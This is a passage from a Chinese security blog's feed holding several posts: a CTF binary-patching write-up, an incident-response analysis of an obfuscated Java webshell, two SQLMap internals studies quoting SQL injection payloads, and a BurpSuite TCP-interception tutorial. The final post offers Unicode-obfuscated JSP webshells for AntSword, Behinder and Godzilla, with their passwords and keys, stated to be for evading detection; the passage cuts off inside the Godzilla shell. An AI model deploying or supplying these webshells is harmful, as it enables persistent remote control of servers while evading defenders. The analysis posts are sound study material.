在Linux虚拟机中运行ifconfig获取IP地址，之后运行./linux_server64。Ps：该文件来自IDA dbgsrv目录。之后将ip填入hostname，将Linux用户密码填入Password，并将程序放置Linux虚拟机中指定位置，如/root/桌面，最后将信息填入对应文本框

ida

启动debug，可以看到程序被成功断在刚刚下断点的位置，之后通过单步或者直接查看boss函数的地址，将断点设在boss函数入口

ida

在Linux中输入2，使其运行至boss函数，在IDA中单步运行至4015FE地址，发现会jle至401628地址，通过【Edit】-【Patch program】-【Patch Bytes】将第一位字节修改成74，使其不跳转。之后可以看到程序会运行至第一个解密函数decrypt1

jle 是指有符号小于等于则跳转
jz  是指为 0 则跳转

ida

之后再重复两次该操作即可获取flag

hero

]]> 安全工具某擎应急响应 /archives/3f861046.html

由于内容敏感，因此加密处理

]]> 安全应急响应应急响应某多重混淆应急响应 /archives/9bb5d45b.html 在一次攻防演练中，发现一个有趣的shell，文件做过多层混淆。

源文件

静态分析

Unicode混淆

根据内容可大概得知为unicode编码，对其进行解码，解码之后内容如下:

第一次解码

字节码Base64解码

其中clzBytecodeBase64Str参数值为base64编码，直接使用base64解码之后发现存在乱码，猜测为字节码文件进行base64编码。提取clzBytecodeBase64Str值，使用工具对其进行解码还原为class文件，其内容如下：

Vicennial类

ZKM14混淆

根据内容猜测其为ZKM14混淆，对其进行还原。然后查看反混淆之后的内容:

VicennialOut

第二次字节码解码

同理将s3进行解码，得到如下内容

shell

根据上图可得知其为webshell

动态分析

由于java所有代码都需要进到JVM，可直接dump出JVM中的类文件即可。
启动tomcat，访问一次原始文件页面，让tomcat将其加载至JVM中。使用arthas加载tomcat，首先要寻找对应的类名。
通过jvisualvm工具，查看内存中的类。
通过dump Sklater命令直接将class导出

dump shell

总结

1.这个webshell结合了上次说的编码、classload，还加了ZKM混淆；
2.在这次事件上，静态分析可以对整个流程理解更深刻，动态分析可以更快得到结果。

]]> 安全应急响应应急响应 SQLMap原理分析(一) /archives/e409b646.html 记得好久以前看过SQLMap的原理分析，但是那时候仅仅只是看过并没有自己去研究。因此，这次想深入研究一下SQLMap的原理。大概会从网络请求、运行流程、源码这些角度进行分析。

前期准备

测试环境

先准备几个不同数据库的测试环境：MySQL、Oracle、SQLServer等。这里偷懒就直接用AWVS提供的环境：http://testphp.vulnweb.com、http://testasp.vulnweb.com。

SQLMap

SQLMap可以在官方站点下载也可以通过Git命令从GitHub下载。git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

如果已经有SQLMap，可以更新到最新版本。这里我用的是1.3.4.51#dev版本

python sqlmap.py --update
python sqlmap.py --version

请求分析

通过对请求分析可以很直观看到SQLMap从开始到结束中间一共进行过什么操作。分析思路为找到SQLMap关键的几个请求包进行分析，得出SQLMap大概的一个操作流程以及判断逻辑。Ps：下文中包的数字等信息并不固定。

MySQL

在testphp站点随便找一个注入点，可以发现登录口存在注入，用BurpSuite（代理端口8080）将请求保存成sql.txt，然后使用sqlmap进行注入。

python sqlmap.py -r sql.txt -p uname --proxy http://127.0.0.1:8080

正常情况下这时候已经可以在BurpSuite的proxy-history里面看到sqlmap发的请求了。

首先会不直接按照sql.txt中的请求包发起一次请求根据响应进行下一步操作，由于该处登录口登录失败会进行302跳转。因此，SQLMap会有一个是否跟进302的提示。

302跳转.png

接下来可以看到SQLMap猜测该处为MySQL数据库，大概为第五、六个包。

按照sql.txt发起请求；
在url后面加参数发起请求；
将POST请求变成GET请求；
不改动再发起一次请求；
增加特殊字符发起请求：‘、"。

根据服务器回显报错得出可能为MySQL数据库。

接下来会猜测注入类型型，大概在第一百四十六个包会得出注入点uname为布尔盲注，根据请求可以看到payload。

uname=est' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71627a7671,(SELECT (ELT(4376=4376,1))),0x71766b6271,0x78))s), 8446744073709551610, 8446744073709551610)))-- GUJT

判断依据为该请求服务器可以正常响应。

接下来会对数据库版本以及函数进行猜测，大概在二百二十七个包会得出可以使用union以及共有8个字段。

最后对进行一次验证，并得出结论。

SQLServer

随便找一个注入点：http://testasp.vulnweb.com/showforum.asp?id=0，将流量代理到BurpSuite。

SQLMap第一次认为该处不存在注入，可以看到是输入特殊的字符根据响应进行判断：‘、"。一共发起两次特殊字符请求进行注入点判断，服务器响应为500，并且响应包里面没有带数据库报错等信息。因此，SQLMap猜测该处并不存在注入。

但是后来SQLMap发现该处为布尔类型的盲注，根据时间来看是11:59:59时判断的。根据BurpSuite的时间戳找到这个时间点的请求包得知payload：0 and 9756=9756，并且服务器的响应为200。

接下来SQLMap判断该数据库类型为SQLServer，根据前后的请求包来看应该是按照不同连接符号得出的不同结论来进行判断。

可以看到一共用了三种连接符号，在使用||，服务器返回为200响应码。

||code=200.png

接下来会开始猜测注入类型，会得出该注入点是SQLServer可注入，并且是什么类型注入。

注入类型.png

接着通过order by来猜测字段长度，可得出长度为2。

order by 2.png

最终会输出结果。

Oracle

待测试。

总结

根据上面的测试可以得知SQLMap大致工作流程：数据库类型猜测、注入类型猜测、数据库版本猜测（MySQL不同版本会影响后续payload选择）、字段长度猜测、结论输出等。

数据库类型猜测使用特殊字符来完成：单引号、双引号、连接符等；
注入类型猜测通过函数来完成：char、union、concat、select等；
长度猜测用的是order by。

这次测试注入点都是简单的注入点，因此看起来很类似。或许在复杂的注入点中间用的函数或者特殊字符不同，但是流程上应该是保持不变的。

]]> 安全工具 SQLMap原理分析(二) /archives/782ab1db.html 在SQLMap原理分析(一)通过SQLMap的请求进行了一次简单的分析，大概了解SQLMap一个粗略的运行流程。这次通过源码的Debug进行深入一点研究。

准备

这里使用pycharm进行debug，打开SQLMap项目之后，在【Run】-【Edit Configurations】设置参数：-u http://testasp.vulnweb.com/showforum.asp?id=0 –flush-session。由于上次跑了testasp这个站点有缓存因此加上了–flush-session。

Debug

连接检测

准备工作做好之后，在sqlmapy.py文件第407行下一个断点，然后开启Debug之旅。

可以看到现在已经成功断到407行了，单步步入到main()函数中。发现前面几行代码是获取配置、路径、banner等信息。当运行到136行的时候可以发现已经获取到前面设置的站点参数。

运行到156行步入到init()函数中，2629行至后面可以看到会进行一系列设置：http、threads等等。

步出回到sqlmapy.py中的main函数，继续单步运行会进行一系列判断检查，直到177行会发现start函数，步入到start函数。这时候会来到./lib/core/decorators.py的stackedmethod函数，根据注释，该函数是用来堆栈对齐的回退函数（不太理解啥意思）。看到result关键字直接步入。

发现来到./lib/controller/controller.py的start函数。根据注释可以得知，该函数用来检查url、请求方式、cookie以及是否存在注入等。

经过一系列的信息获取：Method、paramKey、Headers等，来到了420行进行连接等检查。

跟进checkConnection函数，会来到./controller/checks.py。先检查hostname是否是ip形式（xxx.xxx.xxx.xxx），之后检查有没有设置代理。然后输出log信息：尝试连接目标url。

终端上这时候print出该条日志信息。

在1589行可以看到开始进行request请求，跟进Request函数，来到./request/connect.py，通过注释可以得知queryPage函数是用来获取目标url页面内容。

直到1306行调用Connect.getPage发起请求开始获取页面内容。

步入getPage函数，经过一系列的赋值：url、get类型参数、cookie等。

497行调用urllib.request.urlopent发起请求。

515行获取响应正文信息，这跟上篇文章请求第一个请求包相呼应。

570行会关闭连接。

最后getPage函数会return出响应正文、响应头以及响应状态码。继续运行回到queryPage函数，经过一系列处理queryPage函数将响应正文、响应头以及响应状态码也return出去。

之后会来到./lib/core/decorators.py，会将获取到的result返回。

会回到checks.py，最终返回True。这时候SQLMap已经获知目标站点可连接。

WAF判断

之后会开始进行WAF检测&识别。

检测

在423行进行waf检测。

跟进checkWaf函数，又会来到stackedmethod函数，直接到在result进行步入，会来到checkWaf函数。根据注释可以得知sqlmap的waf检测能力来源nmap的http-waf-detect脚本。

首先将几种攻击类型的payload（SQL注入、目录遍历、XSS等）拼接到已有参数发起请求。

如果直接连接错误，可以判断存在WAF。若可正常连接，判断不存在WAF。

识别

继续执行可以看到identifyWaf函数，但由于并未设置检测waf会被判断跳过。可以按住command点击identifyWaf函数跟进查看原理。大概原理是调用waf文件夹下脚本进行检测-得到结果。脚本脚本大概逻辑为：发起请求-获取响应正文、响应头、响应码-根据规则判断-返回结果。

稳定性检测

回到controller运行至436行会有checkStability函数。

跟进该函数，通过备注发现该函数是用来进行稳定性检测。

参数动态检测

经过一系列赋值&判断，运行至535行步入checkDynParam函数，根据注释可以得知该函数是用来检测参数是否为动态。

注入检测

简单判断

运行至558行，终于来到关键的注入检测。跟进heuristicCheckSqlInjection函数，在1023行进行随机字符串获取，随机字符串长度为10。并且该随机字符串需满足单引号或者双引号出现次数为1。

接下来将随机字符串拼接成payload，发起请求。这个请求跟上篇文章请求中的注入判断请求包对应。

1035行调用parseFilePaths函数检测响应正文中是否包含绝对路径。

1036行检测上一个响应是否有数据库错误信息，这时候的上个请求payload是包含单双引号的，通过这种方式可以极快的判断是否存在注入。

由于这里并不会有数据库的报错信息，所以还需要继续运行。在1092行会生成两个随机变量，长度为6。接下来生成带<’">的payload，该payload为第一个随机字符串加上<’">加上第二个随机字符串。

1095行出现agent.payload函数，跟进该函数（./lib/core/agent.py），根据注释得知该函数功能是替换SQL注入参数。

166行调用cleanupPayload函数，根据函数名猜测该函数主要是用来进行payload清理。

最终返回经过处理之后的payload:
u'id=__PAYLOAD_DELIMITER__0\'ozeyed<\'">cOuFpj__PAYLOAD_DELIMITER__'。

之后使用处理之后的payload发起请求。

最后返回kb.heuristicTest。

继续运行回到start函数，570行调用checkSqlInjection开始进行注入检测。

跟进checkSqlInjection函数，调用InjectionDict函数设置注入字典，之后对参数值类型进行检查。

135行调用getSortedInjectionTests函数获取待注入类型及其payload等信息。142行会将tests数据取出来，直至取完才能跳出141行的while循环。

148行由于条件并不满足，会跳过dbms检测。

之后对payload进行处理，直至506、511行调用Request.queryPage请求。这时候的payload包含AND关键字。

之后对结果进行判断，由于并没有满足条件，许多判断都直接pass掉。开始重新构造payload发起请求。直至payload为boolen类型注入，会进入判断设置injectable = True。

拆分一下这里的判断逻辑：

falsePage与truePage是否相等，falsePage使用的payload为cmpPayload、TruePage使用的payload为reqPayload。假设得到结果为A，A为布尔类型；
获取not kb.nullConnection结果，假设得到结果为B，B为布尔类型；
判断not(A and B)，假设得到结果为C，C为布尔类型；
判断trueResult and C，假设得到结果为D，只有trueResult、C同为True。D才能为True，满足条件判断；
正常情况下B为True，这时候只有falsePage不等于truePage，才能满足条件。

这时候的判断还是比较简单的判断并不能直接就认为该处存在注入，可以看到终端输出时该处似乎是布尔类型的盲注。

之后对该注入信息进行赋值存储injection变量中。由于这时候injectable为True，所以会跳出372行的for循环。

深度判断

待定。

总结

SQLMap整个运行机制：

获取url、thread、headers等信息存储至变量中；
网站存活性检测；
WAF检测&WAF类型识别；
稳定性检测；
注入检测。

SQLMap关键的脚本：

./lib/core/decorators.py
./lib/controller/controller.py
./request/connect.py
./controller/checks.py
./lib/core/agent.py

通过SQLMap机制简单分析，后续在手工注入的时候可以参考SQLMap的判断机制。

]]> 安全工具 BurpSuite抓取非HTTP协议流量 /archives/ffc80a19.html 在进行APP渗透的时候，设置代理到BurpSuite的时候，发现没拦截到包，但是已经获取到数据。猜测是请求包走的是非HTTP协议，发现BurpSuite有一个插件可以抓取TCP的流量：NoPE Proxy。

NoPE安装

[NoPE][1]安装很简单，直接下载对应的jar文件，然后在BurpSuite的【Extender】选项卡中添加即可。Ps：记得要配置Java Environment环境。

NoPE使用

安装完成之后，需要对NoPE进行配置：DNS配置、HTTP代理设置等。

Server设置

在NoPE工具的【Server Config】选项卡进行配置，猜测设置DNS是为了获取请求包的domain。

设置【DNS Response IP】和【DNS Listener Port】，将这个ip设置为代理服务器的ip地址，port设置为DNS常用端口：53；
设置【Interface】，这个是设置网卡，可通过ifconfig查看；
点击【Add 80 & 443 to Burp】，将80、443端口添加到Burp。

设置完之后回到【Proxy】选项卡的【Options】看一下，并且将Invisible设置为勾选（如果没勾选)。Ps：这时候可以使用手机进行操作，看看BurpSuite能不能拦截到HTTP的包。

HTTP Proxy设置

设置完Server之后，在【NoPE Proxy】选项卡的【Server Config】中启动DNS服务，直接点击那个大大的绿色箭头就可以了，显示红色为已经运行。

查看【DNS History】选项卡中的DNS记录，获取Domain、Port等信息。

开启Port Monitor；
在手机上进行操作,**手机DNS配置成PC的地址**；
获取Domain和与其对应的Port。
在获取对应Port有可能会有点烦，我在获取Port的时候每次会有一堆的信息冒出来，导致并不知道那个Port跟domain是对应上的，所以点了好多次。

获取到Domain与Port之后，回到【Server Config】选项卡中，将信息填入到【Non HTTP Proxy Settings】中，例如我现在有了一个domain为xxxx.com，端口为8020，将其填入对应的地方进行添加，添加之后勾选Enable即可。

拦截TCP流量

通过上面的配置，现在已经可以通过NoPE拦截非HTTP协议的流量。在【TCP intercept】选项卡开启【Intercept is ON】，在手机上进行操作，就可以在下面看到对应的请求包。

由于我这边已经把包放过了，给大家看下历史记录的包。

总结

通过这种方式已经可以拦截到TCP的流量，但是通过NoPE感觉操作很繁琐。不知道有没有比的简单、优雅的方式？

[1]: https://github.com/summitt/Burp-Non-HTTP-Extension/releases “NoPE下载地址”

]]> 安全渗透测试工具 Webshell混淆-jsp类型 /archives/a5dc99c.html 由于现在常见的shell（蚁剑、冰蝎、哥斯拉等），极其容易被一眼识破。因此，需要掌握一定的webshell混淆技巧用于对抗。

antUnicode

编码

根据不同的编码混淆webshell。下面提供不同编码下蚁剑、冰蝎、哥斯拉等shell。

Unicode

蚁剑

蚁剑，密码ant

<%!\u0063\u006c\u0061\u0073\u0073\u0020\u0055\u0020\u0065\u0078\u0074\u0065\u006e\u0064\u0073\u0020\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u007b\u0055\u0028\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u0063\u0029\u0020\u007b\u0073\u0075\u0070\u0065\u0072\u0028\u0063\u0029\u003b\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0067\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0029\u0020\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0073\u0075\u0070\u0065\u0072\u002e\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073\u0028\u0062\u002c\u0020\u0030\u002c\u0020\u0062\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0029\u003b\u007d\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u000a\u0020\u0020\u0020\u0020\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u0074\u0072\u0029\u0020\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0074\u0072\u0079\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0022\u0073\u0075\u006e\u002e\u006d\u0069\u0073\u0063\u002e\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u0065\u0063\u006f\u0064\u0065\u0042\u0075\u0066\u0066\u0065\u0072\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0073\u0074\u0072\u0020\u007d\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0074\u0072\u0079\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0022\u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u0042\u0061\u0073\u0065\u0036\u0034\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0067\u0065\u0074\u0044\u0065\u0063\u006f\u0064\u0065\u0072\u0022\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u0065\u0063\u006f\u0064\u0065\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0073\u0074\u0072\u0020\u007d\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0065\u0029\u0020\u007b\u007d\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u007d\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0076\u0061\u006c\u0075\u0065\u003b\u000a\u0020\u0020\u0020\u0020\u007d
%>
<%
\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0063\u006c\u0073\u0020\u003d\u0020\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0061\u006e\u0074\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0069\u0066\u0020\u0028\u0063\u006c\u0073\u0020\u0021\u003d\u0020\u006e\u0075\u006c\u006c\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006e\u0065\u0077\u0020\u0055\u0028\u0074\u0068\u0069\u0073\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0028\u0029\u0029\u002e\u0067\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0063\u006c\u0073\u0029\u0029\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002c\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u007d\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u007d
%>

冰蝎

冰蝎，密码rebeyond

<%@page import="\u006a\u0061\u0076\u0061.\u0075\u0074\u0069\u006c.*,\u006a\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.*,\u006a\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.\u0073\u0070\u0065\u0063.*"%><%!\u0063\u006c\u0061\u0073\u0073\u0020\u0055\u0020\u0065\u0078\u0074\u0065\u006e\u0064\u0073\u0020\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u007b\u0055\u0028\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u0063\u0029\u007b\u0073\u0075\u0070\u0065\u0072\u0028\u0063\u0029\u003b\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0067\u0028\u0062\u0079\u0074\u0065\u0020\u005b\u005d\u0062\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0073\u0075\u0070\u0065\u0072\u002e\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073\u0028\u0062\u002c\u0030\u002c\u0062\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0029\u003b\u007d\u007d%><%\u0069\u0066\u0020\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0029\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028"POST"\u0029\u0029\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006b\u003d"e45e329feb5d925b"\u003b\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0070\u0075\u0074\u0056\u0061\u006c\u0075\u0065\u0028"u"\u002c\u006b\u0029\u003b\u0043\u0069\u0070\u0068\u0065\u0072\u0020\u0063\u003d\u0043\u0069\u0070\u0068\u0065\u0072\u002e\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028"AES"\u0029\u003b\u0063\u002e\u0069\u006e\u0069\u0074\u0028\u0032\u002c\u006e\u0065\u0077\u0020\u0053\u0065\u0063\u0072\u0065\u0074\u004b\u0065\u0079\u0053\u0070\u0065\u0063\u0028\u006b\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0029\u002c"AES"\u0029\u0029\u003b\u006e\u0065\u0077\u0020\u0055\u0028\u0074\u0068\u0069\u0073\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0028\u0029\u0029\u002e\u0067\u0028\u0063\u002e\u0064\u006f\u0046\u0069\u006e\u0061\u006c\u0028\u006e\u0065\u0077\u0020\u0073\u0075\u006e\u002e\u006d\u0069\u0073\u0063\u002e\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072\u0028\u0029\u002e\u0064\u0065\u0063\u006f\u0064\u0065\u0042\u0075\u0066\u0066\u0065\u0072\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0052\u0065\u0061\u0064\u0065\u0072\u0028\u0029\u002e\u0072\u0065\u0061\u0064\u004c\u0069\u006e\u0065\u0028\u0029\u0029\u0029\u0029\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0070\u0061\u0067\u0065\u0043\u006f\u006e\u0074\u0065\u0078\u0074\u0029\u003b\u007d%>

哥斯拉

哥斯拉，密码pass，密钥key

<%! \u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0078\u0063\u003d"3c6e0b8a9c15224a"\u003b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0070\u0061\u0073\u0073\u003d"pass"\u003b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006d\u0064\u0035\u003d\u006d\u0064\u0035\u0028\u0070\u0061\u0073\u0073\u002b\u0078\u0063\u0029\u003b\u0020\u0063\u006c\u0061\u0073\u0073\u0020\u0058\u0020\u0065\u0078\u0074\u0065\u006e\u0064\u0073\u0020\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u007b\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0058\u0028\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u007a\u0029\u007b\u0073\u0075\u0070\u0065\u0072\u0028\u007a\u0029\u003b\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0051\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0063\u0062\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0073\u0075\u0070\u0065\u0072\u002e\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073\u0028\u0063\u0062\u002c\u0020\u0030\u002c\u0020\u0063\u0062\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0029\u003b\u007d\u0020\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0078\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0073\u002c\u0062\u006f\u006f\u006c\u0065\u0061\u006e\u0020\u006d\u0029\u007b\u0020\u0074\u0072\u0079\u007b\u006a\u0061\u0076\u0061\u0078\u002e\u0063\u0072\u0079\u0070\u0074\u006f\u002e\u0043\u0069\u0070\u0068\u0065\u0072\u0020\u0063\u003d\u006a\u0061\u0076\u0061\u0078\u002e\u0063\u0072\u0079\u0070\u0074\u006f\u002e\u0043\u0069\u0070\u0068\u0065\u0072\u002e\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028"\u0041\u0045\u0053")\u003b\u0063\u002e\u0069\u006e\u0069\u0074\u0028\u006d\u003f\u0031\u003a\u0032\u002c\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u0078\u002e\u0063\u0072\u0079\u0070\u0074\u006f\u002e\u0073\u0070\u0065\u0063\u002e\u0053\u0065\u0063\u0072\u0065\u0074\u004b\u0065\u0079\u0053\u0070\u0065\u0063\u0028\u0078\u0063\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0029\u002c"\u0041\u0045\u0053"\u0029\u0029\u003b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0063\u002e\u0064\u006f\u0046\u0069\u006e\u0061\u006c\u0028\u0073\u0029\u003b\u0020\u007d\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u006e\u0075\u006c\u006c\u003b\u0020\u007d\u007d\u0020\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0073\u0074\u0061\u0074\u0069\u0063\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006d\u0064\u0035\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u0029\u0020\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0072\u0065\u0074\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u0074\u0072\u0079\u0020\u007b\u006a\u0061\u0076\u0061\u002e\u0073\u0065\u0063\u0075\u0072\u0069\u0074\u0079\u002e\u004d\u0065\u0073\u0073\u0061\u0067\u0065\u0044\u0069\u0067\u0065\u0073\u0074\u0020\u006d\u003b\u006d\u0020\